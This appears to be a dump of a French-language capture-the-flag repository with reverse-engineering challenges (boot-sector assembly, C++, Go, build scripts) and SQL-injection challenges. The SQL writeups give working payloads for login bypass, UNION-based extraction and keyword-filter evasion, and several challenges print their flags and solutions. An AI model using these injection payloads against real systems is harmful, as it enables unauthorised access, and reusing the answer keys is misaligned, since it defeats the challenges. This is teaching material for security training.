-------------------------------------------------------------------------------- 1 | #include "Menu.h" 2 | #include 3 | 4 | Menu::Menu(const std::string &name, const std::string &prompt, const int& id, 5 | const std::vector > &choices) 6 | : _name(name), _id(id), _prompt(prompt), _choices(choices) {} 7 | 8 | bool Menu::operator==(const std::string &name) const { 9 | return name == _name; 10 | } 11 | 12 | const std::string &Menu::getName() const { 13 | return this->_name; 14 | } 15 | 16 | const int& Menu::getId() const { 17 | return this->_id; 18 | } 19 | 20 | const std::string &Menu::getChoice() const { 21 | if (_choices.size() == 0) { 22 | std::cout << _prompt; 23 | return menuend; 24 | } 25 | int choice; 26 | int i; 27 | do { 28 | std::cout << _prompt; 29 | i = 1; 30 | 31 | for (auto ch: _choices) { 32 | std::cout << i++ << ": " << ch.first << '\n'; 33 | } 34 | 35 | while(!(std::cin >> choice)){ 36 | std::cin.clear(); 37 | std::cin.ignore(std::numeric_limits::max(), '\n'); 38 | std::cout << "Invalid input" << std::endl; 39 | } 40 | 41 | --choice; 42 | } while (choice >= _choices.size()); 43 | return _choices[choice].second; 44 | } 45 | 46 | Menu::~Menu() {} 47 | 48 | const std::string Menu::menuend{"END"}; -------------------------------------------------------------------------------- /challenges/reverse/character_customization/src/Menu.h: -------------------------------------------------------------------------------- 1 | #ifndef GAMEPAD_MENU_H 2 | #define GAMEPAD_MENU_H 3 | 4 | #include 5 | #include 6 | 7 | 8 | class Menu { 9 | /// Code was taken from this post: https://codereview.stackexchange.com/questions/49614/text-based-adventure-game-with-too-many-conditional-statements 10 | 11 | public: 12 | Menu(const std::string &name, const std::string &prompt, const int& id, 13 | const std::vector > &choices 14 | = std::vector >{}); 15 | virtual ~Menu(); 16 | const std::string& getChoice() const; 17 | const std::string& getName() const; 18 | const int& getId() const; 19 | bool operator==(const std::string &name) const; 20 | private: 21 | static const std::string menuend; 22 | int _id; 23 | std::string _name, _prompt; 24 | std::vector> _choices; 25 | }; 26 | 27 | 28 | #endif //GAMEPAD_MENU_H 29 | -------------------------------------------------------------------------------- /challenges/reverse/codedump/Readme.md: -------------------------------------------------------------------------------- 1 | # codedump 2 | 3 | Tags : `reverse` 4 | Level : `Medium` 5 | 6 | ## Description 7 | **Visible** : En analysant un logiciel, j'ai réussi à extraire des données depuis la mémoire. Il semblerait que ce soit un Shellcode Windows, pouvez-vous m'aider à l'analyser ? 8 | 9 | **Non visible** : ce challenge a pour but de montrer aux participants comment un Shellcode Windows peut utiliser le Process Environment Block (PEB) pour avoir accès aux DLLs chargées en mémoire et appeler des exports de ces dernières. Les participants n'auront accès qu'au fichier codedump.bin situé dans le dossier */binaries*. 10 | 11 | ## Hints 12 | 13 | - Le débogage est une meilleure approche pour ce challenge, nous vous conseillons x32dbg. 14 | - Vous pouvez utiliser l'outil [BlobRunner](https://github.com/OALabs/BlobRunner) pour mettre le shellcode en mémoire et faciliter le débogage de ce dernier. 15 | 16 | ## Setup 17 | 18 | Requis: 19 | - Une VM windows 20 | 21 | ## Writeup 22 | 23 | Voir [Writeup.md](Writeup.md) 24 | 25 | 26 | ## Author 27 | 28 | Edouard Bochin 29 | -------------------------------------------------------------------------------- /challenges/reverse/codedump/binaries/codedump.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/binaries/codedump.bin -------------------------------------------------------------------------------- /challenges/reverse/codedump/binaries/win_shellcode.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/binaries/win_shellcode.bin -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/0.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/1.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/2.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/3.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/4.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/5.png -------------------------------------------------------------------------------- /challenges/reverse/codedump/screenshots/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/6.png -------------------------------------------------------------------------------- /challenges/reverse/exports/README.md: -------------------------------------------------------------------------------- 1 | # Exports 2 | 3 | > reverse 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce défi vise à vous familiariser avec Ghidra ou IDA Free qui sont des outils de décompilation de code machine. Si c'est votre premier contact avec cet outil, vous apprendrez à importer un binaire. En fouillant dans l'interface graphique, vous trouverez une section "Exports" qui liste les fonctions du binaire qui peuvent être appelées de l'extérieur par d'autres programmes. Il existe deux fonctions exports suspectes qui ont été ajoutées au programme. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - Une distribution basée sur Linux 13 | 14 | # Writeup 15 | 16 | Il existe plusieurs façons de voir les symboles dans un fichier exécutable. Par exemple, on aurait pu utiliser la commande `nm --demangle program` afin de trouver les fonctions exportées. Cependant, on peut le faire encore plus facilement en utilisant IDA Free ou Ghidra. Dans l'interface de chacun de ces outils, il y a une section "Exports". 17 | 18 | C'est ainsi qu'on trouve un exports suspect nommé `ROT13TheNextExport`. Celui-ci est suivi de `synt_lbhtbgguvflrnu` en mémoire (on peut se faire prendre par l'ordre alphabétique). En effectuant le ROT13 du string avec un outil comme CyberChef, on trouve `flag_yougotthisyeah`. 19 | 20 | ![image](https://user-images.githubusercontent.com/6194072/129850703-5991d8f6-93b6-434d-a728-24bf842cbafc.png) 21 | 22 | -------------------------------------------------------------------------------- /challenges/reverse/exports/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #ifdef _WIN32 8 | #include 9 | #endif 10 | 11 | using namespace std; 12 | 13 | extern void* ROT13TheNextExport() 14 | { 15 | return NULL; 16 | } 17 | 18 | extern int synt_lbhtbgguvflrnu() 19 | { 20 | return 1; 21 | } 22 | 23 | int main(int argc, char* argv[]) 24 | { 25 | long i = -1; 26 | ifstream fichier; 27 | string source = "mots.txt"; 28 | 29 | if (argc == 2) 30 | { 31 | source = argv[1]; 32 | } 33 | fichier.open(source.c_str()); 34 | 35 | if (!fichier.good()) 36 | { 37 | cerr << "Fichier 'mots.txt' introuvable" << endl; 38 | exit(EXIT_FAILURE); 39 | } 40 | 41 | vector v; 42 | 43 | string ligne; 44 | while (getline(fichier, ligne)) 45 | { 46 | while (ligne.length() > 0 && ligne[ligne.size() - 1] == ' ') 47 | { 48 | ligne.erase(ligne.size() - 1); 49 | } 50 | 51 | if (ligne.length() > 0) 52 | { 53 | v.push_back(ligne); 54 | } 55 | } 56 | 57 | if (v.size() == 0) 58 | { 59 | cerr << "Fichier vide" << endl; 60 | exit(EXIT_FAILURE); 61 | } 62 | 63 | fichier.close(); 64 | srand((unsigned int)time(NULL)); 65 | 66 | // Boucle principale 67 | bool pas_termine = true; 68 | while (pas_termine) 69 | { 70 | string s = v.at(rand() % v.size()); 71 | #ifdef _WIN32 72 | vector a(s.size() + 1); 73 | AnsiToOem(s.c_str(), &a[0]); 74 | s = string(a.begin(), a.end()); 75 | #endif 76 | cout << s << endl; 77 | string t; 78 | do 79 | { 80 | getline(cin, t); 81 | 82 | if (t.length() == 0) 83 | { 84 | pas_termine = false; 85 | break; 86 | } 87 | #ifdef _WIN32 88 | t += '\0'; 89 | #endif 90 | } while (t != s); 91 | 92 | i++; 93 | } 94 | 95 | cout << "****** Tu as mal tapé! Tu as perdu! ******" << endl; 96 | cout << "****** Pointage: " << i << endl; 97 | } 98 | -------------------------------------------------------------------------------- /challenges/reverse/exports/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ main.cpp -o program 3 | -------------------------------------------------------------------------------- /challenges/reverse/exports/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/exports/program -------------------------------------------------------------------------------- /challenges/reverse/raycaster/main.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/raycaster/main.zip -------------------------------------------------------------------------------- /challenges/reverse/reverseme/.gitignore: -------------------------------------------------------------------------------- 1 | /*.bin -------------------------------------------------------------------------------- /challenges/reverse/reverseme/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | nasm -f bin boot.asm -o boot.bin 3 | 4 | boot: 5 | qemu-system-x86_64 \ 6 | -drive file=boot.bin,format=raw,if=floppy 7 | 8 | debug: 9 | qemu-system-x86_64 -S -s \ 10 | -drive file=boot.bin,format=raw & 11 | gdb -nh \ 12 | -ex "target remote localhost:1234" \ 13 | -ex "set architecture i8086" \ 14 | -ex "break *0x7c00" 15 | 16 | clean: 17 | rm boot.bin -------------------------------------------------------------------------------- /challenges/reverse/reverseme/README.md: -------------------------------------------------------------------------------- 1 | # Reverse Boot sector 16/32 bits 2 | > Reverse 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | Can you reverse me? 7 | 8 | ## Resources 9 | - https://linux.die.net/man/1/qemu-kvm 10 | - https://github.com/cfenollosa/os-tutorial 11 | 12 | ## Setup 13 | 14 | ### Requirements 15 | - nasm 16 | - qemu 17 | 18 | ### How to run 19 | - Test : `make && make boot` 20 | - Debug : `make && make debug` 21 | -------------------------------------------------------------------------------- /challenges/reverse/reverseme/boot.asm: -------------------------------------------------------------------------------- 1 | [org 0x7c00] 2 | [bits 16] 3 | 4 | xor ax, ax 5 | mov ds, ax 6 | mov es, ax 7 | mov bx, 0x8000 ; stack base 8 | 9 | cli 10 | mov ss, bx 11 | mov sp, ax 12 | sti 13 | 14 | cld 15 | 16 | xor ah, ah 17 | mov al, 0x03 18 | int 0x10 19 | xor al, al 20 | 21 | jmp 0x0000:main 22 | 23 | %include "print.asm" 24 | 25 | main: 26 | mov ax, ENTER_PASSWORD 27 | call print 28 | 29 | mov si, 0x0 30 | _read_chars: 31 | xor ax, ax 32 | int 0x16 33 | cmp al, 0x0d 34 | je _read_chars_done 35 | 36 | cmp al, 0x20 37 | jl _read_chars 38 | 39 | cmp al, 0x7e 40 | jg _read_chars 41 | 42 | mov [INPUT+si], al 43 | inc si 44 | 45 | cmp si, 0x20 46 | je _read_chars_done 47 | 48 | call print_char 49 | 50 | jmp _read_chars 51 | 52 | _read_chars_done: 53 | call print_nl 54 | 55 | mov si, 0x0 56 | _cmp_input: 57 | mov bl, [FLAG+si] 58 | cmp bl, 0x0 59 | je _cmp_input_good 60 | 61 | ror bl, 4 62 | xor bl, 0x55 63 | 64 | mov cl, [INPUT+si] 65 | cmp cl, bl 66 | jne _cmp_input_bad 67 | 68 | inc si 69 | jmp _cmp_input 70 | 71 | _cmp_input_good: 72 | mov ax, GOOD 73 | call print 74 | jmp halt 75 | 76 | _cmp_input_bad: 77 | mov ax, BAD 78 | call print 79 | jmp halt 80 | 81 | halt: 82 | cli 83 | hlt 84 | jmp halt 85 | 86 | ENTER_PASSWORD: 87 | db "Enter password: ", 0 88 | GOOD: 89 | db "Good password", 13, 10, 0 90 | BAD: 91 | db "Invalid password", 13, 10, 0 92 | ; FLAG-GETTING_GOOD_AT_THIS_THING 93 | FLAG: 94 | db 0x31, 0x91, 0x41, 0x21 95 | db 0x87, 0x21, 0x01, 0x10 96 | db 0x10, 0xc1, 0xb1, 0x21 97 | db 0xa0, 0x21, 0xa1, 0xa1 98 | db 0x11, 0xa0, 0x41, 0x10 99 | db 0xa0, 0x10, 0xd1, 0xc1 100 | db 0x60, 0xa0, 0x10, 0xd1 101 | db 0xc1, 0xb1, 0x21, 0x00 102 | INPUT: 103 | times 32 db 0x00 104 | 105 | times 510-($-$$) db 0x0 106 | dw 0xAA55 107 | -------------------------------------------------------------------------------- /challenges/reverse/reverseme/print.asm: -------------------------------------------------------------------------------- 1 | jmp _print_section_end 2 | 3 | print_hex: 4 | pusha 5 | mov cx, 0 6 | 7 | _print_hex_loop: 8 | cmp cx, 4 9 | je _print_hex_done 10 | 11 | mov dx, ax 12 | and dx, 0x000f 13 | add dl, 0x30 14 | cmp dl, 0x39 15 | jle _print_hex_step2 16 | add dl, 7 17 | 18 | _print_hex_step2: 19 | mov bx, HEX_OUT + 5 20 | sub bx, cx 21 | mov [bx], dl 22 | ror ax, 4 23 | 24 | add cx, 1 25 | jmp _print_hex_loop 26 | 27 | _print_hex_done: 28 | mov ax, HEX_OUT 29 | call print 30 | 31 | popa 32 | ret 33 | 34 | HEX_OUT: 35 | db '0x0000', 0 36 | 37 | print: 38 | pusha 39 | mov si, ax 40 | 41 | _print_loop: 42 | lodsb 43 | cmp al, 0 44 | je _print_done 45 | mov ah, 0x0e 46 | int 0x10 47 | jmp _print_loop 48 | 49 | _print_done: 50 | popa 51 | ret 52 | 53 | print_nl: 54 | pusha 55 | 56 | mov ah, 0x0e 57 | mov al, 0x0a 58 | int 0x10 59 | mov al, 0x0d 60 | int 0x10 61 | 62 | popa 63 | ret 64 | 65 | print_char: 66 | pusha 67 | 68 | mov ah, 0x0e 69 | int 0x10 70 | 71 | popa 72 | ret 73 | 74 | _print_section_end: -------------------------------------------------------------------------------- /challenges/reverse/stringstrings/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | func main() { 9 | fmt.Print("Hello, ") 10 | fmt.Print(".") 11 | time.Sleep(500 * time.Millisecond) 12 | fmt.Print(".") 13 | time.Sleep(500 * time.Millisecond) 14 | fmt.Print(".") 15 | time.Sleep(500 * time.Millisecond) 16 | fmt.Print(". ") 17 | time.Sleep(500 * time.Millisecond) 18 | fmt.Println("world!") 19 | } 20 | 21 | -------------------------------------------------------------------------------- /challenges/reverse/stringstrings/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | go build main.go 3 | mv main stringsstrings 4 | perl -pi -e 's/UnitedCTF-2021\/UnitedCTF-2021/FLAG-9190JA39AN2VMA0221NA99RM/g' stringsstrings 5 | echo "The following line must find the flag that's in the binary:" 6 | strings stringsstrings | grep FLAG-9190JA39AN2VMA0221NA99RM 7 | -------------------------------------------------------------------------------- /challenges/reverse/stringstrings/stringsstrings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/stringstrings/stringsstrings -------------------------------------------------------------------------------- /challenges/reverse/tangled/.gitignore: -------------------------------------------------------------------------------- 1 | /*.bin -------------------------------------------------------------------------------- /challenges/reverse/tangled/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | nasm -f bin boot.asm -o boot.bin 3 | 4 | hint: 5 | python ./tools/shuffle_chars.py 6 | 7 | mv chars.asm _chars.asm 8 | mv chars_shuffled.asm chars.asm 9 | 10 | nasm -f bin boot.asm -o boot.bin 11 | 12 | mv _chars.asm chars.asm 13 | 14 | final: 15 | python ./tools/shuffle_chars.py 16 | 17 | mv flag.asm _flag.asm 18 | echo 'FLAG: ' > flag.asm 19 | 20 | mv chars.asm _chars.asm 21 | mv chars_shuffled.asm chars.asm 22 | 23 | nasm -f bin boot.asm -o boot.bin 24 | 25 | mv _chars.asm chars.asm 26 | mv _flag.asm flag.asm 27 | 28 | python ./tools/scramble_end.py 29 | 30 | boot: 31 | qemu-system-x86_64 \ 32 | -drive file=boot.bin,format=raw,if=floppy 33 | 34 | debug: 35 | qemu-system-x86_64 -S -s \ 36 | -drive file=boot.bin,format=raw & 37 | gdb -nh \ 38 | -ex "target remote localhost:1234" \ 39 | -ex "set architecture i8086" \ 40 | -ex "break *0x7c00" 41 | 42 | clean: 43 | rm boot.bin 44 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/README.md: -------------------------------------------------------------------------------- 1 | # Reverse Boot sector 16/32 bits 2 | > Reverse 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | Can you help me decipher this string? 7 | ``` 8 | =4I|RI2RAR^V2RO6R[6<^I{R+6.R+{<'7L 9 | ``` 10 | 11 | ## Resources 12 | - https://linux.die.net/man/1/qemu-kvm 13 | - https://github.com/cfenollosa/os-tutorial 14 | - https://en.wikipedia.org/wiki/BIOS_interrupt_call 15 | 16 | ## Setup 17 | 18 | ### Requirements 19 | - python 20 | - nasm 21 | - qemu 22 | 23 | ### How to run 24 | - Test : `make && make boot` 25 | - Debug : `make && make debug` 26 | - Print hint : `make hint && make boot` 27 | - Build challenge : `make final` 28 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/boot.asm: -------------------------------------------------------------------------------- 1 | [org 0x7c00] 2 | [bits 16] 3 | 4 | xor ax, ax 5 | mov ds, ax 6 | mov es, ax 7 | mov bx, 0x8000 ; stack base 8 | 9 | cli 10 | mov ss, bx 11 | mov sp, ax 12 | sti 13 | 14 | cld 15 | 16 | xor ah, ah 17 | mov al, 0x03 18 | int 0x10 19 | xor al, al 20 | 21 | mov [BOOT_DISK], dl 22 | cmp dl, 0x00 ; expect boot from floppy 23 | jne halt 24 | 25 | jmp 0x0000:main 26 | 27 | %include "system.asm" 28 | %include "print.asm" 29 | %include "disk.asm" 30 | %include "font.asm" 31 | 32 | main: 33 | mov ax, 0x7e00 34 | mov bx, 0x0002 35 | call disk_load 36 | 37 | mov bx, 0x411a 38 | call font_load 39 | add bh, 0x20 40 | call font_load 41 | add ax, 0x16c ; 26*14 42 | sub bx, 0x3110 ; 0x300a 43 | call font_load 44 | add ax, 0x8c ; 10*14 45 | sub bx, 0x0efb ; 0x210f 46 | call font_load 47 | add ax, 0xd2 ; 15*14 48 | add bx, 0x18f8 ; 0x3a07 49 | call font_load 50 | add ax, 0x62 ; 7*14 51 | add bx, 0x20ff ; 0x5b06 52 | call font_load 53 | add ax, 0x54 ; 6*14 54 | add bx, 0x1ffe ; 0x7b04 55 | call font_load 56 | 57 | mov ax, FLAG 58 | call print 59 | jmp halt 60 | 61 | %include "flag.asm" 62 | 63 | times 510-($-$$) db 0x99 64 | dw 0xAA55 65 | 66 | %include "chars.asm" 67 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/disk.asm: -------------------------------------------------------------------------------- 1 | jmp _disk_section_end 2 | 3 | ; ax: where to 4 | ; bh: sector start 5 | ; bl: sector count 6 | disk_load: 7 | pusha 8 | 9 | push bx 10 | push ax 11 | 12 | mov ah, bh 13 | add ah, 0x2 14 | mov al, bl 15 | 16 | pop bx 17 | 18 | mov ch, 0x00 19 | mov cl, 0x02 20 | 21 | mov dx, [BOOT_DISK] 22 | xor dh, dh 23 | 24 | int 0x13 25 | jc disk_error 26 | 27 | pop bx 28 | cmp al, bl 29 | jne sector_error 30 | 31 | xor ah, ah 32 | int 0x13 33 | 34 | popa 35 | ret 36 | 37 | BOOT_DISK: db 0x00 38 | 39 | disk_error: 40 | mov ax, DISK_ERROR 41 | call print 42 | jmp halt 43 | 44 | sector_error: 45 | mov ax, SECTOR_ERROR 46 | call print 47 | jmp halt 48 | 49 | DISK_ERROR: db "Disk error", 13, 10, 0 50 | SECTOR_ERROR: db "Sector error", 13, 10, 0 51 | 52 | _disk_section_end: 53 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/flag.asm: -------------------------------------------------------------------------------- 1 | FLAG: db "FLAG-AH-C-SOH-KE-TERSAI-DEU-DIR~!?", 13, 10 2 | db "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 13, 10 3 | db "01234567890", 13, 10 4 | db "!", 0x22, "#$%&'()*+,-./:", 0x3b, "<=>?@[\]^_`{|}~", 13, 10, 0 5 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/font.asm: -------------------------------------------------------------------------------- 1 | jmp _font_section_end 2 | 3 | ; ax: where from 4 | ; bh: char start 5 | ; bl: char count 6 | font_load: 7 | pusha 8 | 9 | push bx 10 | 11 | mov bp, ax 12 | 13 | pop ax 14 | push ax 15 | 16 | xor ah, ah 17 | mov cx, ax 18 | 19 | pop ax 20 | xor al, al 21 | ror ax, 8 22 | 23 | mov dx, ax 24 | mov bh, 0x0e 25 | xor bl, bl 26 | mov ax, 0x1100 27 | int 10h 28 | 29 | popa 30 | ret 31 | 32 | _font_section_end: 33 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/print.asm: -------------------------------------------------------------------------------- 1 | jmp _print_section_end 2 | 3 | print_hex: 4 | pusha 5 | mov cx, 0 6 | 7 | _print_hex_loop: 8 | cmp cx, 4 9 | je _print_hex_done 10 | 11 | mov dx, ax 12 | and dx, 0x000f 13 | add dl, 0x30 14 | cmp dl, 0x39 15 | jle _print_hex_step2 16 | add dl, 7 17 | 18 | _print_hex_step2: 19 | mov bx, HEX_OUT + 5 20 | sub bx, cx 21 | mov [bx], dl 22 | ror ax, 4 23 | 24 | add cx, 1 25 | jmp _print_hex_loop 26 | 27 | _print_hex_done: 28 | mov ax, HEX_OUT 29 | call print 30 | 31 | popa 32 | ret 33 | 34 | HEX_OUT: 35 | db '0x0000', 0 36 | 37 | print: 38 | pusha 39 | mov si, ax 40 | 41 | _print_loop: 42 | lodsb 43 | cmp al, 0 44 | je _print_done 45 | mov ah, 0x0e 46 | int 0x10 47 | jmp _print_loop 48 | 49 | _print_done: 50 | popa 51 | ret 52 | 53 | print_nl: 54 | pusha 55 | 56 | mov ah, 0x0e 57 | mov al, 0x0a 58 | int 0x10 59 | mov al, 0x0d 60 | int 0x10 61 | 62 | popa 63 | ret 64 | 65 | _print_section_end: 66 | -------------------------------------------------------------------------------- /challenges/reverse/tangled/system.asm: -------------------------------------------------------------------------------- 1 | jmp _system_section_end 2 | 3 | halt: 4 | cli 5 | hlt 6 | jmp halt 7 | 8 | _system_section_end: -------------------------------------------------------------------------------- /challenges/reverse/tangled/tools/scramble_end.py: -------------------------------------------------------------------------------- 1 | import random 2 | import os 3 | 4 | random.seed(1337) 5 | with open("./boot.bin", "rb") as i: 6 | with open("./_boot.bin", "wb") as o: 7 | bin = i.read(510) 8 | for b in bin: 9 | if ord(b) == 0x99: 10 | o.write(chr(random.randint(1, 255))) 11 | else: 12 | o.write(b) 13 | o.write(i.read()) 14 | 15 | os.rename("./_boot.bin", "./boot.bin") -------------------------------------------------------------------------------- /challenges/reverse/tangled/tools/shuffle_chars.py: -------------------------------------------------------------------------------- 1 | import random 2 | import re 3 | 4 | random.seed(1337) 5 | with open("./chars.asm") as f: 6 | text = f.read() 7 | matches = [(letter, bin) for letter, bin in re.findall(r'(c[0-9a-f]+):([\n\w\s]+)\n(?=c[0-9a-f]+:)', text, flags=re.MULTILINE)] 8 | with open("./chars_shuffled.asm", "w") as g: 9 | random.shuffle(matches) 10 | g.write('\n'.join([bin for (_, bin) in matches])) -------------------------------------------------------------------------------- /challenges/sqli/sqli1/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli2/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli2/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 2 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Pour ce deuxième défi d'injection SQL, il y a plusieurs utilisateurs dans la table `users` et le code vérifie maintenant que la requête retourne qu'un seul résultat. Donc, l'injection utilisée précédemment ne fonctionne plus. Cependant, l'utilisateur `admin` est le premier dans la table. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | L'injection précédente `" or 1=1--` ne fonctionne plus, car elle retourne plusieurs résultats et le code s'assure que ce n'est pas le cas. 17 | 18 | La description du défi nous indique que l'utilisateur `admin` est le premier dans la table. On devrait penser à faire l'injection `" or 1=1 limit 1--` afin de limiter la quantité de résultats retournée. On obtiendra le flag `FLAG-4acceacedaf77ae3c3ecc5fec82ff1fflimitit`. 19 | 20 | On peut aussi faire `admin" and 1=1--` dans le champs Username afin de s'assurer qu'il y ait qu'un seul match avec l'utilisateur `admin` sans entrer de mot de passe. 21 | -------------------------------------------------------------------------------- /challenges/sqli/sqli3/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli3/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 3 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce troisième défi d'injection SQL est similaire au défi précédent. Il y a plusieurs utilisateurs dans la table `users` et le code vérifie que la requête retourne qu'un seul résultat. Cependant, l'utilisateur `admin` n'est plus le premier dans la table. Donc, l'injection utilsiée précédemment ne fonctionne plus car vous obtiendrez le mauvais résultat. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | Si on fait la requête précédent `" or 1=1 limit 1--`, on obtient le mauvais mot de passe même si la connexion a réussie. Le code ne vérifie pas que la base de donnée a bien retournée la ligne de l'admin comme premier résultat du dataset. 17 | 18 | Afin de réussir, on peut créer une requête qui va trier les utilisateurs par ordre alphabétique. On fera donc `" or 1=1 order by username limit 1--` (`asc` étant optionnel comme l'ordre croissante est par défaut, mais on aurait pu utiliser `desc` pour trier par l'inverse si `admin` était le dernier utilisateur de la table). 19 | 20 | Le flag obtenu est `FLAG-a5ff034660bff8ce89637ece84e0cff1sortit`. 21 | -------------------------------------------------------------------------------- /challenges/sqli/sqli4/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli4/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 4 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce quatrième défi d'injection SQL requiert de charger des données qui sont dans une autre table. La table `users` ne contient qu'un seul utilisateur: `admin`. Cependant, il existe une nouvelle table `flag` qui contient un certain nombre de colonnes. Parmis ces colonnes, on trouve la colonne `flag` qui contient ce que vous cherchez. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | https://portswigger.net/web-security/sql-injection/union-attacks 17 | 18 | En se basant sur la technique expliquée dans la page web ci-haut, on doit déterminer le nombre de colonnes. 19 | 20 | `" union select 1 from flag--` 21 | `" union select 1,2 from flag--` 22 | `" union select 1,2,3 from flag--` 23 | 24 | Les deux premières requêtes donnent un erreur. La troisième retourne `3`. On sait que pour afficher le flag, on devra utiliser la troisième colonne, donc on essaye la requête `" union select 1,2,flag from flag--`. 25 | 26 | C'est à ce moment qu'on obtient le flag `FLAG-373fc3b97cb4cd80d07942d92add1379unionizethis`. 27 | -------------------------------------------------------------------------------- /challenges/sqli/sqli5/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.0.10-apache 2 | 3 | RUN apt-get update -y 4 | RUN apt-get upgrade -y 5 | 6 | COPY src /var/www/html 7 | -------------------------------------------------------------------------------- /challenges/sqli/sqli5/README.md: -------------------------------------------------------------------------------- 1 | # SQL injection 5 2 | 3 | > web 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Ce cinquième défi d'injection SQL est identique au défi précédent, cependant le mot `UNION` se fait filtrer. Le code PHP utilise la ligne de code suivante pour supprimer ce mot clé de la requête SQL: `$reqstr = str_ireplace("union", "", $reqstr);`. Il existe tout de même moyen de parvenir au même résultat qu'au défi précédent et afficher le flag. 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - BurpSuite 13 | 14 | # Writeup 15 | 16 | Référez-vous à la solution du défi précédent. 17 | 18 | L'injection `" union select 1,2,flag from flag--` résulte en une requête invalide. Toutes les occurences du mot "union" sont supprimées. On ne peut donc pas non plus faire `" unionunion select 1,2,flag from flag--`. On peut cependant faire `" 